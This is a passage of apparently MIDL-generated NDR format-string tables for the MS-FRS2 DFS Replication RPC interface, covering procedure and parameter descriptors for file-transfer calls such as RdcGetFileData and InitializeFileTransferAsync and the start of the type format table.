/* 702 */ NdrFcShort( 0x1 ), /* 1 */
/* 704 */ NdrFcShort( 0x0 ), /* 0 */
/* 706 */ NdrFcShort( 0x0 ), /* 0 */
/* Parameter serverContext */
/* 708 */ NdrFcShort( 0x8 ), /* Flags: in, */
/* 710 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
/* 712 */ NdrFcShort( 0x1c8 ), /* Type Offset=456 */
/* Parameter sourceNeeds */
/* 714 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */
/* 716 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
/* 718 */ NdrFcShort( 0x202 ), /* Type Offset=514 */
/* Parameter needCount */
/* 720 */ NdrFcShort( 0x88 ), /* Flags: in, by val, */
/* 722 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
/* 724 */ NdrFcShort( 0x218 ), /* 536 */
/* Return value */
/* 726 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
/* 728 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
/* 730 */ 0x8, /* FC_LONG */
0x0, /* 0 */
/* Procedure RdcGetFileData */
/* 732 */ 0x0, /* 0 */
0x48, /* Old Flags: */
/* 734 */ NdrFcLong( 0x0 ), /* 0 */
/* 738 */ NdrFcShort( 0xb ), /* 11 */
/* 740 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */
/* 742 */ 0x30, /* FC_BIND_CONTEXT */
0x48, /* Ctxt flags: in, strict, */
/* 744 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
/* 746 */ 0x0, /* 0 */
0x0, /* 0 */
/* 748 */ NdrFcShort( 0x2c ), /* 44 */
/* 750 */ NdrFcShort( 0x24 ), /* 36 */
/* 752 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */
0x5, /* 5 */
/* 754 */ 0xa, /* 10 */
0x3, /* Ext Flags: new corr desc, clt corr check, */
/* 756 */ NdrFcShort( 0x1 ), /* 1 */
/* 758 */ NdrFcShort( 0x0 ), /* 0 */
/* 760 */ NdrFcShort( 0x0 ), /* 0 */
/* 762 */ NdrFcShort( 0x0 ), /* 0 */
/* Parameter serverContext */
/* 764 */ NdrFcShort( 0x8 ), /* Flags: in, */
/* 766 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
/* 768 */ NdrFcShort( 0x1c8 ), /* Type Offset=456 */
/* Parameter dataBuffer */
/* 770 */ NdrFcShort( 0x113 ), /* Flags: must size, must free, out, simple ref, */
/* 772 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
/* 774 */ NdrFcShort( 0x1ac ), /* Type Offset=428 */
/* Parameter bufferSize */
/* 776 */ NdrFcShort( 0x88 ), /* Flags: in, by val, */
/* 778 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
/* 780 */ NdrFcShort( 0x222 ), /* 546 */
/* Parameter sizeReturned */
/* 782 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */
/* 784 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
/* 786 */ 0x8, /* FC_LONG */
0x0, /* 0 */
/* Return value */
/* 788 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
/* 790 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
/* 792 */ 0x8, /* FC_LONG */
0x0, /* 0 */
/* Procedure RdcClose */
/* 794 */ 0x0, /* 0 */
0x48, /* Old Flags: */
/* 796 */ NdrFcLong( 0x0 ), /* 0 */
/* 800 */ NdrFcShort( 0xc ), /* 12 */
/* 802 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
/* 804 */ 0x30, /* FC_BIND_CONTEXT */
0xe8, /* Ctxt flags: via ptr, in, out, strict, */
/* 806 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
/* 808 */ 0x0, /* 0 */
0x0, /* 0 */
/* 810 */ NdrFcShort( 0x38 ), /* 56 */
/* 812 */ NdrFcShort( 0x40 ), /* 64 */
/* 814 */ 0x44, /* Oi2 Flags: has return, has ext, */
0x2, /* 2 */
/* 816 */ 0xa, /* 10 */
0x1, /* Ext Flags: new corr desc, */
/* 818 */ NdrFcShort( 0x0 ), /* 0 */
/* 820 */ NdrFcShort( 0x0 ), /* 0 */
/* 822 */ NdrFcShort( 0x0 ), /* 0 */
/* 824 */ NdrFcShort( 0x0 ), /* 0 */
/* Parameter serverContext */
/* 826 */ NdrFcShort( 0x118 ), /* Flags: in, out, simple ref, */
/* 828 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
/* 830 */ NdrFcShort( 0x1a4 ), /* Type Offset=420 */
/* Return value */
/* 832 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
/* 834 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
/* 836 */ 0x8, /* FC_LONG */
0x0, /* 0 */
/* Procedure InitializeFileTransferAsync */
/* 838 */ 0x0, /* 0 */
0x48, /* Old Flags: */
/* 840 */ NdrFcLong( 0x0 ), /* 0 */
/* 844 */ NdrFcShort( 0xd ), /* 13 */
/* 846 */ NdrFcShort( 0x68 ), /* X64 Stack size/offset = 104 */
/* 848 */ 0x32, /* FC_BIND_PRIMITIVE */
0x0, /* 0 */
/* 850 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
/* 852 */ NdrFcShort( 0x6e ), /* 110 */
/* 854 */ NdrFcShort( 0x92 ), /* 146 */
/* 856 */ 0xc7, /* Oi2 Flags: srv must size, clt must size, has return, has ext, has async handle */
0xb, /* 11 */
/* 858 */ 0xa, /* 10 */
0x83, /* Ext Flags: new corr desc, clt corr check, has big amd64 byval param */
/* 860 */ NdrFcShort( 0x1 ), /* 1 */
/* 862 */ NdrFcShort( 0x0 ), /* 0 */
/* 864 */ NdrFcShort( 0x0 ), /* 0 */
/* 866 */ NdrFcShort( 0x0 ), /* 0 */
/* Parameter IDL_handle */
/* 868 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */
/* 870 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
/* 872 */ NdrFcShort( 0xc ), /* Type Offset=12 */
/* Parameter connectionId */
/* 874 */ NdrFcShort( 0x11b ), /* Flags: must size, must free, in, out, simple ref, */
/* 876 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
/* 878 */ NdrFcShort( 0x7c ), /* Type Offset=124 */
/* Parameter frsUpdate */
/* 880 */ NdrFcShort( 0x88 ), /* Flags: in, by val, */
/* 882 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
/* 884 */ NdrFcShort( 0x230 ), /* 560 */
/* Parameter rdcDesired */
/* 886 */ NdrFcShort( 0x2018 ), /* Flags: in, out, srv alloc size=8 */
/* 888 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */
/* 890 */ NdrFcShort( 0xcc ), /* Type Offset=204 */
/* Parameter stagingPolicy */
/* 892 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */
/* 894 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */
/* 896 */ NdrFcShort( 0x23e ), /* Type Offset=574 */
/* Parameter serverContext */
/* 898 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */
/* 900 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */
/* 902 */ NdrFcShort( 0x242 ), /* Type Offset=578 */
/* Parameter rdcFileInfo */
/* 904 */ NdrFcShort( 0x113 ), /* Flags: must size, must free, out, simple ref, */
/* 906 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */
/* 908 */ NdrFcShort( 0x2f0 ), /* Type Offset=752 */
/* Parameter dataBuffer */
/* 910 */ NdrFcShort( 0x88 ), /* Flags: in, by val, */
/* 912 */ NdrFcShort( 0x48 ), /* X64 Stack size/offset = 72 */
/* 914 */ NdrFcShort( 0x302 ), /* 770 */
/* Parameter bufferSize */
/* 916 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */
/* 918 */ NdrFcShort( 0x50 ), /* X64 Stack size/offset = 80 */
/* 920 */ 0x8, /* FC_LONG */
0x0, /* 0 */
/* Parameter sizeRead */
/* 922 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */
/* 924 */ NdrFcShort( 0x58 ), /* X64 Stack size/offset = 88 */
/* 926 */ 0x8, /* FC_LONG */
0x0, /* 0 */
/* Parameter isEndOfFile */
/* 928 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
/* 930 */ NdrFcShort( 0x60 ), /* X64 Stack size/offset = 96 */
/* 932 */ 0x8, /* FC_LONG */
0x0, /* 0 */
/* Procedure InitializeFileDataTransfer */
/* Return value */
/* 934 */ 0x0, /* 0 */
0x48, /* Old Flags: */
/* 936 */ NdrFcLong( 0x0 ), /* 0 */
/* 940 */ NdrFcShort( 0xe ), /* 14 */
/* 942 */ NdrFcShort( 0x58 ), /* X64 Stack size/offset = 88 */
/* 944 */ 0x32, /* FC_BIND_PRIMITIVE */
0x0, /* 0 */
/* 946 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */
/* 948 */ NdrFcShort( 0x6c ), /* 108 */
/* 950 */ NdrFcShort( 0x78 ), /* 120 */
/* 952 */ 0x47, /* Oi2 Flags: srv must size, clt must size, has return, has ext, */
0xa, /* 10 */
/* 954 */ 0xa, /* 10 */
0x83, /* Ext Flags: new corr desc, clt corr check, has big amd64 byval param */
/* 956 */ NdrFcShort( 0x1 ), /* 1 */
/* 958 */ NdrFcShort( 0x0 ), /* 0 */
/* 960 */ NdrFcShort( 0x0 ), /* 0 */
/* 962 */ NdrFcShort( 0x0 ), /* 0 */
/* Parameter IDL_handle */
/* 964 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */
/* 966 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
/* 968 */ NdrFcShort( 0xc ), /* Type Offset=12 */
/* Parameter connectionId */
/* 970 */ NdrFcShort( 0x11b ), /* Flags: must size, must free, in, out, simple ref, */
/* 972 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
/* 974 */ NdrFcShort( 0x7c ), /* Type Offset=124 */
/* Parameter frsUpdate */
/* 976 */ NdrFcShort( 0x110 ), /* Flags: out, simple ref, */
/* 978 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
/* 980 */ NdrFcShort( 0x23e ), /* Type Offset=574 */
/* Parameter serverContext */
/* 982 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
/* 984 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
/* 986 */ 0xb, /* FC_HYPER */
0x0, /* 0 */
/* Parameter offset */
/* 988 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */
/* 990 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */
/* 992 */ 0xb, /* FC_HYPER */
0x0, /* 0 */
/* Parameter length */
/* 994 */ NdrFcShort( 0x113 ), /* Flags: must size, must free, out, simple ref, */
/* 996 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */
/* 998 */ NdrFcShort( 0x310 ), /* Type Offset=784 */
/* Parameter dataBuffer */
/* 1000 */ NdrFcShort( 0x88 ), /* Flags: in, by val, */
/* 1002 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */
/* 1004 */ NdrFcShort( 0x322 ), /* 802 */
/* Parameter bufferSize */
/* 1006 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */
/* 1008 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */
/* 1010 */ 0x8, /* FC_LONG */
0x0, /* 0 */
/* Parameter sizeRead */
/* 1012 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */
/* 1014 */ NdrFcShort( 0x48 ), /* X64 Stack size/offset = 72 */
/* 1016 */ 0x8, /* FC_LONG */
0x0, /* 0 */
/* Parameter isEndOfFile */
/* 1018 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
/* 1020 */ NdrFcShort( 0x50 ), /* X64 Stack size/offset = 80 */
/* 1022 */ 0x8, /* FC_LONG */
0x0, /* 0 */
/* Procedure RawGetFileDataAsync */
/* Return value */
/* 1024 */ 0x0, /* 0 */
0x48, /* Old Flags: */
/* 1026 */ NdrFcLong( 0x0 ), /* 0 */
/* 1030 */ NdrFcShort( 0xf ), /* 15 */
/* 1032 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
/* 1034 */ 0x30, /* FC_BIND_CONTEXT */
0x48, /* Ctxt flags: in, strict, */
/* 1036 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
/* 1038 */ 0x0, /* 0 */
0x0, /* 0 */
/* 1040 */ NdrFcShort( 0x24 ), /* 36 */
/* 1042 */ NdrFcShort( 0x8 ), /* 8 */
/* 1044 */ 0xcc, /* Oi2 Flags: has return, has pipes, has ext, has async handle */
0x3, /* 3 */
/* 1046 */ 0xa, /* 10 */
0x1, /* Ext Flags: new corr desc, */
/* 1048 */ NdrFcShort( 0x0 ), /* 0 */
/* 1050 */ NdrFcShort( 0x0 ), /* 0 */
/* 1052 */ NdrFcShort( 0x0 ), /* 0 */
/* 1054 */ NdrFcShort( 0x0 ), /* 0 */
/* Parameter serverContext */
/* 1056 */ NdrFcShort( 0x8 ), /* Flags: in, */
/* 1058 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
/* 1060 */ NdrFcShort( 0x1c8 ), /* Type Offset=456 */
/* Parameter bytePipe */
/* 1062 */ NdrFcShort( 0x4114 ), /* Flags: pipe, out, simple ref, srv alloc size=16 */
/* 1064 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
/* 1066 */ NdrFcShort( 0x332 ), /* Type Offset=818 */
/* Return value */
/* 1068 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
/* 1070 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
/* 1072 */ 0x8, /* FC_LONG */
0x0, /* 0 */
/* Procedure RdcGetFileDataAsync */
/* 1074 */ 0x0, /* 0 */
0x48, /* Old Flags: */
/* 1076 */ NdrFcLong( 0x0 ), /* 0 */
/* 1080 */ NdrFcShort( 0x10 ), /* 16 */
/* 1082 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
/* 1084 */ 0x30, /* FC_BIND_CONTEXT */
0x48, /* Ctxt flags: in, strict, */
/* 1086 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
/* 1088 */ 0x0, /* 0 */
0x0, /* 0 */
/* 1090 */ NdrFcShort( 0x24 ), /* 36 */
/* 1092 */ NdrFcShort( 0x8 ), /* 8 */
/* 1094 */ 0xcc, /* Oi2 Flags: has return, has pipes, has ext, has async handle */
0x3, /* 3 */
/* 1096 */ 0xa, /* 10 */
0x1, /* Ext Flags: new corr desc, */
/* 1098 */ NdrFcShort( 0x0 ), /* 0 */
/* 1100 */ NdrFcShort( 0x0 ), /* 0 */
/* 1102 */ NdrFcShort( 0x0 ), /* 0 */
/* 1104 */ NdrFcShort( 0x0 ), /* 0 */
/* Parameter serverContext */
/* 1106 */ NdrFcShort( 0x8 ), /* Flags: in, */
/* 1108 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */
/* 1110 */ NdrFcShort( 0x1c8 ), /* Type Offset=456 */
/* Parameter bytePipe */
/* 1112 */ NdrFcShort( 0x4114 ), /* Flags: pipe, out, simple ref, srv alloc size=16 */
/* 1114 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */
/* 1116 */ NdrFcShort( 0x340 ), /* Type Offset=832 */
/* Return value */
/* 1118 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */
/* 1120 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */
/* 1122 */ 0x8, /* FC_LONG */
0x0, /* 0 */
0x0
}
};
static const ms2Dfrs2_MIDL_TYPE_FORMAT_STRING ms2Dfrs2__MIDL_TypeFormatString =
{
0,
{
NdrFcShort( 0x0 ), /* 0 */
/* 2 */
0x11, 0x0, /* FC_RP */
/* 4 */ NdrFcShort( 0x8 ), /* Offset= 8 (12) */
/* 6 */
0x1d, /* FC_SMFARRAY */
0x0, /* 0 */
/* 8 */ NdrFcShort( 0x8 ), /* 8 */
/* 10 */ 0x1, /* FC_BYTE */
0x5b, /* FC_END */
/* 12 */
0x15, /* FC_STRUCT */
0x3, /* 3 */
/* 14 */ NdrFcShort( 0x10 ), /* 16 */
/* 16 */ 0x8, /* FC_LONG */
0x6, /* FC_SHORT */
/* 18 */ 0x6, /* FC_SHORT */
0x4c, /* FC_EMBEDDED_COMPLEX */
/* 20 */ 0x0, /* 0 */
NdrFcShort( 0xfff1 ), /* Offset= -15 (6) */
0x5b, /* FC_END */
/* 24 */
0x11, 0xc, /* FC_RP [alloced_on_stack] [simple_pointer] */
/* 26 */ 0x8, /* FC_LONG */
0x5c, /* FC_PAD */
/* 28 */ 0xb7, /* FC_RANGE */
0x8, /* 8 */
/* 30 */ NdrFcLong( 0x0 ), /* 0 */
/* 34 */ NdrFcLong( 0x100 ), /* 256 */
/* 38 */ 0xb7, /* FC_RANGE */
0x8, /* 8 */
/* 40 */ NdrFcLong( 0x0 ), /* 0 */
/* 44 */ NdrFcLong( 0x1 ), /* 1 */
/* 48 */ 0xb7, /* FC_RANGE */
0xd, /* 13 */
/* 50 */ NdrFcLong( 0x0 ), /* 0 */
/* 54 */ NdrFcLong( 0x2 ), /* 2 */
/* 58 */
0x11, 0x0, /* FC_RP */
/* 60 */ NdrFcShort( 0xe ), /* Offset= 14 (74) */
/* 62 */
0x15, /* FC_STRUCT */
0x7, /* 7 */
/* 64 */ NdrFcShort( 0x20 ), /* 32 */
/* 66 */ 0x4c, /* FC_EMBEDDED_COMPLEX */
0x0, /* 0 */
/* 68 */ NdrFcShort( 0xffc8 ), /* Offset= -56 (12) */
/* 70 */ 0xb, /* FC_HYPER */
0xb, /* FC_HYPER */
/* 72 */ 0x5c, /* FC_PAD */
0x5b, /* FC_END */
/* 74 */
0x21, /* FC_BOGUS_ARRAY */
0x7, /* 7 */
/* 76 */ NdrFcShort( 0x0 ), /* 0 */
/* 78 */ 0x29, /* Corr desc: parameter, FC_ULONG */
0x0, /* */
/* 80 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */
/* 82 */ NdrFcShort( 0x1 ), /* Corr flags: early, */
/* 84 */ NdrFcLong( 0xffffffff ), /* -1 */
/* 88 */ NdrFcShort( 0x0 ), /* Corr flags: */
/* 90 */ 0x4c, /* FC_EMBEDDED_COMPLEX */
0x0, /* 0 */
/* 92 */ NdrFcShort( 0xffe2 ), /* Offset= -30 (62) */
/* 94 */ 0x5c, /* FC_PAD */
0x5b, /* FC_END */
/* 96 */
0x11, 0x0, /* FC_RP */
/* 98 */ NdrFcShort( 0x54 ), /* Offset= 84 (182) */
/* 100 */
0x15, /* FC_STRUCT */
0x3, /* 3 */
/* 102 */ NdrFcShort( 0x8 ), /* 8 */
/* 104 */ 0x8, /* FC_LONG */
0x8, /* FC_LONG */
/* 106 */ 0x5c, /* FC_PAD */
0x5b, /* FC_END */
/* 108 */
0x1d, /* FC_SMFARRAY */
0x0, /* 0 */
/* 110 */ NdrFcShort( 0x14 ), /* 20 */
/* 112 */ 0x2, /* FC_CHAR */
0x5b, /* FC_END */
/* 114 */
0x1d, /* FC_SMFARRAY */
0x0, /* 0 */
/* 116 */ NdrFcShort( 0x10 ), /* 16 */
/* 118 */ 0x2, /* FC_CHAR */
0x5b, /* FC_END */
/* 120 */
0x29, /* FC_WSTRING */
0x5c, /* FC_PAD */
/* 122 */ NdrFcShort( 0x105 ), /* 261 */
/* 124 */
0x1a, /* FC_BOGUS_STRUCT */
0x7, /* 7 */
/* 126 */ NdrFcShort( 0x2b0 ), /* 688 */
/* 128 */ NdrFcShort( 0x0 ), /* 0 */
/* 130 */ NdrFcShort( 0x0 ), /* Offset= 0 (130) */
/* 132 */ 0x8, /* FC_LONG */
0x8, /* FC_LONG */
/* 134 */ 0x8, /* FC_LONG */
0x4c, /* FC_EMBEDDED_COMPLEX */
/* 136 */ 0x0, /* 0 */
NdrFcShort( 0xffdb ), /* Offset= -37 (100) */
0x4c, /* FC_EMBEDDED_COMPLEX */
/* 140 */ 0x0, /* 0 */
NdrFcShort( 0xffd7 ), /* Offset= -41 (100) */
0x4c, /* FC_EMBEDDED_COMPLEX */
/* 144 */ 0x0, /* 0 */
NdrFcShort( 0xffd3 ), /* Offset= -45 (100) */
0x4c, /* FC_EMBEDDED_COMPLEX */
/* 148 */ 0x0, /* 0 */
NdrFcShort( 0xff77 ), /* Offset= -137 (12) */
0x4c, /* FC_EMBEDDED_COMPLEX */
/* 152 */ 0x0, /* 0 */
NdrFcShort( 0xffd3 ), /* Offset= -45 (108) */
0x4c, /* FC_EMBEDDED_COMPLEX */
/* 156 */ 0x0, /* 0 */
NdrFcShort( 0xffd5 ), /* Offset= -43 (114) */
0x4c, /* FC_EMBEDDED_COMPLEX */
/* 160 */ 0x0, /* 0 */
NdrFcShort( 0xff6b ), /* Offset= -149 (12) */
0xb, /* FC_HYPER */
/* 164 */ 0x4c, /* FC_EMBEDDED_COMPLEX */
0x0, /* 0 */
/* 166 */ NdrFcShort( 0xff66 ), /* Offset= -154 (12) */
/* 168 */ 0xb, /* FC_HYPER */
0x4c, /* FC_EMBEDDED_COMPLEX */
/* 170 */ 0x0, /* 0 */
NdrFcShort( 0xff61 ), /* Offset= -159 (12) */
0xb, /* FC_HYPER */
/* 174 */ 0x4c, /* FC_EMBEDDED_COMPLEX */
0x0, /* 0 */
/* 176 */ NdrFcShort( 0xffc8 ), /* Offset= -56 (120) */
/* 178 */ 0x3e, /* FC_STRUCTPAD2 */
0x8, /* FC_LONG */
/* 180 */ 0x5c, /* FC_PAD */
0x5b, /* FC_END */
/* 182 */
0x21, /* FC_BOGUS_ARRAY */
0x7, /* 7 */
/* 184 */ NdrFcShort( 0x0 ), /* 0 */
/* 186 */ 0x29, /* Corr desc: parameter, FC_ULONG */
0x0, /* */
/* 188 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */
/* 190 */ NdrFcShort( 0x1 ), /* Corr flags: early, */
/* 192 */ 0x29, /* Corr desc: parameter, FC_ULONG */
0x54, /* FC_DEREFERENCE */
/* 194 */ NdrFcShort( 0x50 ), /* X64 Stack size/offset = 80 */
/* 196 */ NdrFcShort( 0x0 ), /* Corr flags: */
/* 198 */ 0x4c, /* FC_EMBEDDED_COMPLEX */
0x0, /* 0 */
/* 200 */ NdrFcShort( 0xffb4 ), /* Offset= -76 (124) */
/* 202 */ 0x5c, /* FC_PAD */
0x5b, /* FC_END */
/* 204 */
0x11, 0xc, /* FC_RP [alloced_on_stack] [simple_pointer] */
/* 206 */ 0xd, /* FC_ENUM16 */
0x5c, /* FC_PAD */
/* 208 */
0x11, 0x4, /* FC_RP [alloced_on_stack] */
/* 210 */ NdrFcShort( 0xff3a ), /* Offset= -198 (12) */
/* 212 */
0x11, 0xc, /* FC_RP [alloced_on_stack] [simple_pointer] */
/* 214 */ 0xb, /* FC_HYPER */
0x5c, /* FC_PAD */
/* 216 */ 0xb7, /* FC_RANGE */
0xd, /* 13 */
/* 218 */ NdrFcLong( 0x0 ), /* 0 */
/* 222 */ NdrFcLong( 0x2 ), /* 2 */
/* 226 */ 0xb7, /* FC_RANGE */
0xd, /* 13 */
/* 228 */ NdrFcLong( 0x0 ), /* 0 */
/* 232 */ NdrFcLong( 0x2 ), /* 2 */
/* 236 */
0x11, 0x4, /* FC_RP [alloced_on_stack] */
/* 238 */ NdrFcShort( 0x62 ), /* Offset= 98 (336) */
/* 240 */
0x21, /* FC_BOGUS_ARRAY */
0x7, /* 7 */
/* 242 */ NdrFcShort( 0x0 ), /* 0 */
/* 244 */ 0x19, /* Corr desc: field pointer, FC_ULONG */
0x0, /* */
/* 246 */ NdrFcShort( 0x8 ), /* 8 */
/* 248 */ NdrFcShort( 0x1 ), /* Corr flags: early, */
/* 250 */ NdrFcLong( 0xffffffff ), /* -1 */
/* 254 */ NdrFcShort( 0x0 ), /* Corr flags: */
/* 256 */ 0x4c, /* FC_EMBEDDED_COMPLEX */
0x0, /* 0 */
/* 258 */ NdrFcShort( 0xff3c ), /* Offset= -196 (62) */
/* 260 */ 0x5c, /* FC_PAD */
0x5b, /* FC_END */
/* 262 */
0x15, /* FC_STRUCT */
0x1, /* 1 */
/* 264 */ NdrFcShort( 0x10 ), /* 16 */
/* 266 */ 0x6, /* FC_SHORT */
0x6, /* FC_SHORT */
/* 268 */ 0x6, /* FC_SHORT */
0x6, /* FC_SHORT */
/* 270 */ 0x6, /* FC_SHORT */
0x6, /* FC_SHORT */
/* 272 */ 0x6, /* FC_SHORT */
0x6, /* FC_SHORT */
/* 274 */ 0x5c, /* FC_PAD */
0x5b, /* FC_END */
/* 276 */
0x15, /* FC_STRUCT */
0x3, /* 3 */
/* 278 */ NdrFcShort( 0x20 ), /* 32 */
/* 280 */ 0x4c, /* FC_EMBEDDED_COMPLEX */
0x0, /* 0 */
/* 282 */ NdrFcShort( 0xfef2 ), /* Offset= -270 (12) */
/* 284 */ 0x4c, /* FC_EMBEDDED_COMPLEX */
0x0, /* 0 */
/* 286 */ NdrFcShort( 0xffe8 ), /* Offset= -24 (262) */
/* 288 */ 0x5c, /* FC_PAD */
0x5b, /* FC_END */
/* 290 */
0x21, /* FC_BOGUS_ARRAY */
0x3, /* 3 */
/* 292 */ NdrFcShort( 0x0 ), /* 0 */
/* 294 */ 0x19, /* Corr desc: field pointer, FC_ULONG */
0x0, /* */
/* 296 */ NdrFcShort( 0x18 ), /* 24 */
/* 298 */ NdrFcShort( 0x1 ), /* Corr flags: early, */
/* 300 */ NdrFcLong( 0xffffffff ), /* -1 */
/* 304 */ NdrFcShort( 0x0 ), /* Corr flags: */
/* 306 */ 0x4c, /* FC_EMBEDDED_COMPLEX */
0x0, /* 0 */
/* 308 */ NdrFcShort( 0xffe0 ), /* Offset= -32 (276) */
/* 310 */ 0x5c, /* FC_PAD */
0x5b, /* FC_END */
/* 312 */
0x1a, /* FC_BOGUS_STRUCT */
0x7, /* 7 */
/* 314 */ NdrFcShort( 0x28 ), /* 40 */
/* 316 */ NdrFcShort( 0x0 ), /* 0 */
/* 318 */ NdrFcShort( 0xa ), /* Offset= 10 (328) */
/* 320 */ 0xb, /* FC_HYPER */
0x8, /* FC_LONG */
/* 322 */ 0x40, /* FC_STRUCTPAD4 */
0x36, /* FC_POINTER */
/* 324 */ 0x8, /* FC_LONG */
0x40, /* FC_STRUCTPAD4 */
/* 326 */ 0x36, /* FC_POINTER */
0x5b, /* FC_END */
/* 328 */
0x12, 0x0, /* FC_UP */
/* 330 */ NdrFcShort( 0xffa6 ), /* Offset= -90 (240) */
/* 332 */
0x12, 0x0, /* FC_UP */
/* 334 */ NdrFcShort( 0xffd4 ), /* Offset= -44 (290) */
/* 336 */
0x1a, /* FC_BOGUS_STRUCT */
0x7, /* 7 */
/* 338 */ NdrFcShort( 0x30 ), /* 48 */
/* 340 */ NdrFcShort( 0x0 ), /* 0 */
/* 342 */ NdrFcShort( 0x0 ), /* Offset= 0 (342) */
/* 344 */ 0x8, /* FC_LONG */
0x8, /* FC_LONG */
/* 346 */ 0x4c, /* FC_EMBEDDED_COMPLEX */
0x0, /* 0 */
/* 348 */ NdrFcShort( 0xffdc ), /* Offset= -36 (312) */
/* 350 */ 0x5c, /* FC_PAD */
0x5b, /* FC_END */
/* 352 */
0x11, 0x8, /* FC_RP [simple_pointer] */
/* 354 */ 0x8, /* FC_LONG */
0x5c, /* FC_PAD */
/* 356 */
0x11, 0x14, /* FC_RP [alloced_on_stack] [pointer_deref] */
/* 358 */ NdrFcShort( 0x2 ), /* Offset= 2 (360) */
/* 360 */
0x12, 0x0, /* FC_UP */
/* 362 */ NdrFcShort( 0x2 ), /* Offset= 2 (364) */
/* 364 */
0x1b, /* FC_CARRAY */
0x0, /* 0 */
/* 366 */ NdrFcShort( 0x1 ), /* 1 */
/* 368 */ 0x29, /* Corr desc: parameter, FC_ULONG */
0x54, /* FC_DEREFERENCE */
/* 370 */ NdrFcShort( 0x40 ), /* X64 Stack size/offset = 64 */
/* 372 */ NdrFcShort( 0x1 ), /* Corr flags: early, */
/* 374 */ 0x1, /* FC_BYTE */
0x5b, /* FC_END */
/* 376 */
0x11, 0x0, /* FC_RP */
/* 378 */ NdrFcShort( 0x2 ), /* Offset= 2 (380) */
/* 380 */
0x1a, /* FC_BOGUS_STRUCT */
0x7, /* 7 */
/* 382 */ NdrFcShort( 0x318 ), /* 792 */
/* 384 */ NdrFcShort( 0x0 ), /* 0 */
/* 386 */ NdrFcShort( 0x0 ), /* Offset= 0 (386) */
/* 388 */ 0x4c, /* FC_EMBEDDED_COMPLEX */
0x0, /* 0 */
/* 390 */ NdrFcShort( 0xfef6 ), /* Offset= -266 (124) */
/* 392 */ 0x4c, /* FC_EMBEDDED_COMPLEX */
0x0, /* 0 */
/* 394 */ NdrFcShort( 0xfe82 ), /* Offset= -382 (12) */
/* 396 */ 0x4c, /* FC_EMBEDDED_COMPLEX */
0x0, /* 0 */
/* 398 */ NdrFcShort( 0xfe7e ), /* Offset= -386 (12) */
/* 400 */ 0x4c, /* FC_EMBEDDED_COMPLEX */
0x0, /* 0 */
/* 402 */ NdrFcShort( 0xfe7a ), /* Offset= -390 (12) */
